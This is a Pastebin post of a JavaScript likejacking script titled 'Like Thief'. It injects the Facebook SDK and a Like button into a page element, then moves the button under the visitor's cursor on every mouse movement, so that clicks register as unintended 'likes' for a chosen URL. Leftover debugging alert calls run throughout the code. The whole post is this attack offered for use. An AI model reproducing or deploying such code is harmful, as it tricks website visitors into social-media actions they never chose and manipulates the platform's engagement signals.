Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* =------------=
- * | Like Thief |
- * =------------=
- *
- * Version: 0.1
- * Developer: James Jeffery <joojar@hotmail.com>
- * AIM: joojarmarketing
- *
- * PFF: Project Fuck Facebook
- */
- function bootstrap(url, id, appId) {
- this.url = url; this.id = id; this.appId = appId;
- this.init = function() {
- window.alert("Welcome! Press OK 2");
- this.insertFBJavascript();
- this.insertLikeButton();
- document.getElementById(this.id).onmousemove = positionLikeButton;
- window.alert("Welcome! Press OK 3");
- }
- this.insertFBJavascript = function() {
- window.alert("Welcome! Press check fb-rrot");
- if(document.getElementById('fb-root')) return;
- window.alert("Welcome! Press passed");
- var fbr = document.createElement('div'); fbr.id = 'fb-root';
- document.getElementsByTagName('body')[0].appendChild(fbr);
- (function(d, s, id, appId) {
- var js, fjs = d.getElementsByTagName(s)[0];
- window.alert("Welcome! test2");
- if (d.getElementById(id)) return;
- window.alert("Welcome! Press passed");
- js = d.createElement(s); js.id = id;
- js.src = '//connect.facebook.net/en_US/all.js#xfbml=1&appId=' + appId;
- fjs.parentNode.insertBefore(js, fjs);
- }(document, 'script', 'facebook-jssdk', this.appId));
- }
- this.insertLikeButton = function() {
- window.alert("Welcome! Press OK like");
- var lb = document.createElement('fb:like');
- lb.id = 'fblike';
- lb.setAttribute('width', '450');
- lb.setAttribute('href', this.url);
- lb.setAttribute('show_faces', 'false');
- document.getElementById(this.id).appendChild(lb);
- }
- function positionLikeButton(e) {
- window.alert("Welcome! Press OK pos like");
- e = e || window.event;
- var cursor = {x:0, y:0};
- if (e.pageX || e.pageY) {
- cursor.x = e.pageX;
- cursor.y = e.pageY;
- } else {
- cursor.x = e.clientX +
- (document.documentElement.scrollLeft || document.body.scrollLeft) - document.documentElement.clientLeft;
- cursor.y = e.clientY + (document.documentElement.scrollTop || document.body.scrollTop) - document.documentElement.clientTop;
- }
- window.alert("Welcome! last");
- var elem = document.getElementById('fblike');
- elem.style.position = 'absolute';
- elem.style.top = cursor.y - 5 + 'px';
- elem.style.left = cursor.x - 5 + 'px';
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement